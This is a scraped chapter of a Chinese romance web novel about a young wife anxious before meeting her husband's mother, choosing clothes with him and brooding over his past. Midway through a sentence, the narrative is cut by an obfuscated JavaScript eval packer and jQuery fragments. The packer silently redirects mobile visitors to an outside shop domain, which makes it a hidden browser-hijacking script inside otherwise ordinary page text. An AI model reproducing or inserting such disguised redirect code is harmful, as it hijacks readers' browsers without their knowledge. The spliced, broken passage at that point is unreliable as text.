文趣网 > 都市小说 > 刻板温柔 > 57. 陈词滥
    回到里斯本的次日就是中秋。

    施妮可焦躁地坐在衣帽间的中央,面前是放在行李箱里堆成小山的衣物。

    “他亲妈性格怎么样啊?”视频电话里的姚筱苗叹了一口气,“你要不说你跟他好了,我还没那么难下手挑……毕竟你头一回见婆婆,我都怕你平时的打扮风格破坏了人对你的第一印象。”

    “这又不是我能忍住的事儿。”施妮可苦恼地用手指卷着发尾玩儿,“他每天笑得那么温柔,我要是不做点儿什么,我就不叫施妮可了……”

    “打住打住!”姚筱苗嫌弃地皱了皱鼻子,“真没想到你谈起恋爱来是这样的。”

    “很违和吗?”施妮可歪了歪脑袋,“我动手动脚不是很正常的事情吗?”

    “这倒是正常。”姚筱苗笑起来,“我是说你的状态不正常,你听听你说话夹着嗓子那声儿!”

    “哪里夹了。”施妮可故作羞涩地别过脸。

    “我截图了。”姚筱苗狂笑出声,“我发到群里让他俩看看你这傻缺样儿……”

    “这不叫傻缺,这叫……陷入爱情!”施妮可豪情万丈地一挥手。

    “刚喝了几两白酒啊?”姚筱苗笑了一会儿,“先别跟我说这个,你不是说等会儿就出门了吗?”

    “对啊。”施妮可答,“差不多过一个小时就出发。”

    “你那婆婆应该比我们俩的妈大不少……”姚筱苗想了想,正色道,“要不你把我们刚选的两套穿给你老公看看,让他挑。反正我感觉两套都还可以。”

    “说起这个。”施妮可好不容易正经起来,“我前段时间偷听到他跟他老妈打电话……他妈妈应该很不喜欢我。”

    姚筱苗倒吸一口气:“这样吗?”

    “嗯。”施妮可纠结地咬了咬下唇,“我……很多长辈都不太喜欢我,我自己也知道。”

    “谁说的,我爸妈就很喜欢你。”姚筱苗马上说,“瓜总和景宝的爸妈对你也……”

    姚筱苗止住话头,中邪似地咯咯笑起来:“景宝他老娘被你们气死了哈哈哈哈,你和你老公是怎么想到给他寄那一大箱子套的?他逢人就吐槽你们,好几天了……”

    “我不是告诉你们了吗,盗刷信用卡那小孩儿买的,小孩儿还不了钱,他舅舅非要把买的这些还给我们。”施妮可说。

    “这个我知道。”姚筱苗咳了几声,继续笑,“最经典还不是你们给景宝寄一箱子套儿,是你老公在在寄件人那栏填他自己的名字,电话也留他的……完了景宝他娘拆开快递,以为她儿子不仅插足别人婚姻,还找个男的在一块儿!”

    “是杨行渡以前用过的转运公司,把东西拿走了,也不改一改寄件人信息。”施妮可也觉得好笑,“不过也好,这下景宝就不只是我一个人的前男友了。”

    “共享前男友是吗?”姚筱苗笑得几乎岔气。

    施妮可有气无力地笑了笑:“我找他来帮忙挑吧,先挂了。”

    笑声戛然而止。

    “老大快进来衣帽间,有事儿要你帮忙——”施妮可连屁股都懒得挪,点开杨行渡的聊天框,给他发了条语音。

    他敲开衣帽间的门:“这么快就开始收拾行李了?”

    “你看我像在收拾的样子吗……”她闷闷不乐地踢了踢衣服堆,“你帮我挑一套衣服吧,一会儿穿去见你的妈妈。”

    “像你平时一样穿就很好啊。”杨行渡笑着说,“就是一起吃个饭,不用这么隆重的。”

    “我第一次和你的妈妈见面。”她郑重其事地竖起食指,“你的妈妈,我的婆婆,第一次见面!”

    “这有什么的?”他揉了揉她的后脑勺,“我妈不是什么豺狼虎豹。”

    施妮可停顿片刻,拉着他的手晃了晃:“可是她不喜欢我。”

    “从来就没这回事儿。”他被她的话弄糊涂了,“谁告诉你的,小理吗?”

    “你就别骗我了。”她把脸贴在他的手背上蹭了蹭,“我都听见你们打电话了……阿姨说,施家的小二是最没用的……你在书房打的电话,我不小心听见了。”

    杨行渡愣了愣,很快在她跟前蹲下,认真地看着她:“那天和我打电话的,是小理的妈妈。”

    “那……”她慢半拍地点点头,“你的妈妈……”

    “莲姨这么喜欢你,你说呢?”他轻轻地掐了掐她的脸。

    “莲姨是阿姨的表妹,”施妮可笑起来,“也对。”

    “没想到你也有不自信的时候。”他勾了勾唇角,“随便穿什么都可以,戴上你那顶熊帽子吗?”

    “不要。”她撇了撇嘴,“我又不是自大狂,偶尔不自信一下不可以么?”

    “当然可以。”杨行渡说。

    “那你帮我挑一套衣服。”她在衣服山的山顶拽走一条裙子,“你就在这儿吧,我一套一套试给你看。”

    “我……”他顿了顿,“在这儿吗?”

    “啊。”施妮可说着就拉起裙子下摆。

    他被打了个猝不及防,避无可避,只好麻溜转身面壁。

    “你干什么?”她听见他的动静,往他的方向看去,结果只见到一个僵硬的背影,笑着走到他面前,“你在干嘛呀?”

    杨行渡没来得及躲开,怔愣地看着她身上的贴身吊带。

    “我刚才又不是光着在条条面前换衣服的。”她圈住他的腰,嘟囔道,“我的睡衣比这个露的多了,也没见你这样。”

    他松了一口气,拍了拍她的后背:“那你现在换吧,我帮你参考参考。”

    “早上的吻。”施妮可抬起头,“我没提醒你就忘记了,现在补回来。”

    他心里有许多陈词滥调用于拒绝她至少一天两次的索吻,但考虑到她除了要亲,也没提出别的奇怪要求,便没有产生抗拒的情绪。

    “亲亲。”她嘟起嘴。

    她似乎在连日吃饱睡足的生活里长胖了一些,嘴里没含东西的时候,脸颊也微微鼓出圆润的弧度,透出淡淡的粉。

    杨行渡听话地吻了吻她的脸颊,一触即离。

    偏偏视线在这时落在她脸蛋微鼓的弧线上。

    就像见到特别可爱的小婴儿,一旦亲上她肉乎乎的脸颊,就想接着亲,一直亲,亲着亲着就想咬,轻轻地咬,咬得小宝宝发出奶声奶气的泣音,才肯停下片刻。

    忽略施妮可,杨行渡上一次亲别人的脸还是在他弟弟妹妹念一年级的时候。

    六岁的小学生世理和德瑶的脸上还挂着婴儿肥,五官和脸形尚未长出棱角,杨行渡每回把两人载到校门口以后,都会亲一亲他们的脸。

    然后两个小朋友会搂住他的脖子,也在他脸上亲一下。

    二年级的时候,小同学意外撞见杨世理亲他哥的场景,在学校大肆宣扬,召集了许多小学生笑话杨世理是个没长大的小宝宝。

    杨世理觉得丢脸,再也没有亲过他哥,也不让他哥亲他。

    德瑶没几天也学了去。

    虽然没有人发现,杨行渡也从来没有告诉任何一个人,但他知道自己就是很喜欢各种肉嘟嘟的脸颊。

    比如施妮可长胖一点之后的脸。

    温热的鼻息还笼在她的脸侧,杨行渡认为这是接着亲她的时机,于是托着她的后颈,在她脸上一连落下几个亲昵的吻。

    她显然很高兴,眯起眼睛任他亲。

    “抱歉。”他离开她的脸,不好意思地笑了笑,“多了一点。”

    “我喜欢!”施妮可踮起脚尖,雀跃地啄了啄他的嘴角,“今天是100分!”

    他摸了摸她的脸:“嗯。”

    “我现在穿给你看。”她转身拎起自己刚找出来的长裙套在身上,紧接着开始穿上衣,“你不用评价,二选一就好了,时间不太够。”

    “这是第一套。”她转了个圈,“百褶裙。”

    “嗯,看好了。”他说。

    “然后是第二套……”施妮可把身上的衣服脱下来,胡乱扔到一旁,伸手去取另一条樱花粉的紧身连衣裙。

    他走上前捡起她丢的衣服,翻回正面,抖了抖灰尘,搁在衣服堆的顶上。

    “噔噔!”她叉着腰,“然后是这条,我再把那天穿过的长筒靴穿上。”

    杨行渡扫了几眼,皱起眉,伸手扯了扯她的裙摆。

    “哎!”她连忙捂住领口,拍掉他的手,“我上面要走光啦。”

    “这么短的裙子吗?”他问。

    “你就说哪一套好看。”施妮可用搭配的细围巾在颈间绕了一圈,“我说的是好看,不是别的哦。”

    “这套。”他这会儿倒是反应迅速,又问,“外套穿什么?”

    “外套穿长的风衣。”她笑了笑,“不冷的时候我才会像现在这么穿。”

    杨行渡的嘴角微

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557801|202283||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不可察地翘了翘:“好。”

    “好吧……你现在可以出去啦,我把里面的吊带脱了。”她推着他往外走,“还是你想留下来看呀?”

    “瞎说。”他无奈地笑起来,“你慢慢换,我在外面等你。”

    施妮可把指尖抵在唇上,在他的注视中亲了亲指腹,轻轻抬起手,给了他一个收敛的飞吻,朝他挤了挤眼睛,然后眼疾手快地关上门。

    “哥,嫂子还没换好衣服呢?”杨世理刚把贴了满满一个冰箱门的冰箱贴取下来,在料理台上堆成一堆,现在正捣鼓着换一种排列方式把它们贴回去。

    “选好了,正在穿。”杨行渡背着手站在一旁看他玩儿,笑着说,“我调整了很久才把它们全贴上去的,你一把就给我掀了。”

    “我再设计一下嘛,”杨世理嬉皮笑脸道,“我刚才想把我们在波尔图买的几个贴上去,都没找到空位。”

    “你一点一点挪就有了。”杨行渡说,“不过现在也好,每个都抖一抖,不会积灰。”

    “哥,对于旧的组织体系来说,推翻重建才能更好吸收新鲜血液,我这是帮你的冰箱门迎接新生呢。”杨世理头头是道地说。

    “最近又看了什么奇怪的电影……”杨行渡笑道。

    “推翻重建才能迎接新生?”施妮可飞快地换好衣服,一走出客厅就听到他的话。

    “嫂子?”杨世理闻声从厨房里探出脑袋,“嫂子你今天这么穿真好看!”

    “谢谢!”她笑起来,“你的话对我很有启发。”

    杨世理笑了几声:“我在玩儿我哥的冰箱贴,你要一起吗?”

    “我们来得及去机场吗?”施妮可走上前,随手拿起一个埃菲尔铁塔状的冰箱贴。

    “来得及,开车过去十分钟就到了。”杨行渡说。

    “哥哥,我来的时候可没发现路程这么短。您说的是开车,还是飙车?”她看了他一眼,调侃道,“我怕了你的车速。”

    杨行渡笑了笑:“没车的路就开快一点儿。”

    “嫂子,这种话一般就是可以飙一下的意思。”杨世理说。

    “你哥载你的时候也会飙车吗?”施妮可问,“不像他的风格啊。”

    “不会。”杨世理胡乱把冰箱贴全贴回冰箱门上,“晓晓姐告诉我的,她说我哥经常这么糊弄人,结果有一次她吐了一车,也没见我哥减速。”

    “你听她胡扯。多少年前的事儿了,”杨行渡笑起来,“而且哪儿有这么夸张。”

    “哈!”杨世理指了指他哥,“这也被晓晓姐说中了!”

    杨行渡轻叹一口气:“她又造谣我什么了?”

    “没造谣,她之前就猜你听到别人提这事儿会这么回应。”杨世理把一块正方形的彩色透光冰箱贴移到冰箱门正中央,感叹道,“看来晓晓姐还是太了解你了……”

    施妮可站在一旁没有作声,心里感觉怪怪的。

    虽然她上回相信了杨行渡没有谈过恋爱的说辞,他和她亲密时的行事作风也能佐证这一点,但是像杨行渡这种家世的人,恋爱应该是比较严肃的关系,要是没有奔着结婚去的想法,他完全可以不对外公开和某人的亲密关系,毕竟不会有人知道他们私底下做了什么。

    她承认自己有些介怀杨行渡的过去,那段自己不曾参与的,二十岁到三十岁之间的岁月。

    并非一般意义上的,对于拥有“施妮可丈夫”这个身份的人的占有欲。

    是针对杨行渡这个人,这个施妮可现在很喜欢的人。

    受不了。真受不了这种感觉。

    就像吞了一颗发霉的花生。

    吃的时候太急,没品出滋味儿就咽进肚子,过后才发觉嘴里的怪味儿,却也没办法把花生吐出来,只能一边嫌弃嘴里挥之不去的霉味儿一边担忧发霉花生里的黄曲霉素会不会把自己毒死。

    施妮可从未料想到,自己谈个恋爱能谈得疑神疑鬼,明明已经开口问过,也得到了他坦诚的回答,怎么总是纠结在他以前的情感经历里面呢?

    然而她的理智告诉自己,杨行渡比她年长十岁。

    十个年头,足以横跨小学到大学的学习阶段。

    杨行渡可以参与她的青春,而施妮可却无法参与他的。

    她没办法参与,有很多别的人已经参与过。

    施妮可好喜欢他,但她被排除在他青春之外。